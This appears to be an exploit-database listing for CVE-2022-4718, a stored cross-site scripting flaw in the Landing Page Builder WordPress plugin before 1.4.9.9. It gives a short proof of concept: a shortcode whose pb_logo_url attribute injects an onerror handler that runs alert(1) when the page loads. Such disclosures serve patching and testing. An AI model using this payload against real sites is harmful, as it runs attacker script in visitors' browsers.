Exploit for Landing Page Builder < 1.4.9.9 - Contributor+ Cross-Site Scripting via Shortcode CVE-2022-4718

Name: Exploit for Landing Page Builder < 1.4.9.9 - Contributor+ Cross-Site Scripting via Shortcode CVE-2022-4718
Rating: 5 (168 reviews)

2022-12-27 | CVSS 1.5

## https://sploitus.com/exploit?id=WPEX-ID:04D7CD44-9E18-42B9-9F79-CC9CD6980526
1. Insert the following shortcode in a post/page: [pb_samlple_nav menu_class="menu-style-1" pb_logo_url="invalid' onerror='alert(1)'"]

2. Browse the page/post and notice the alert triggers successfully.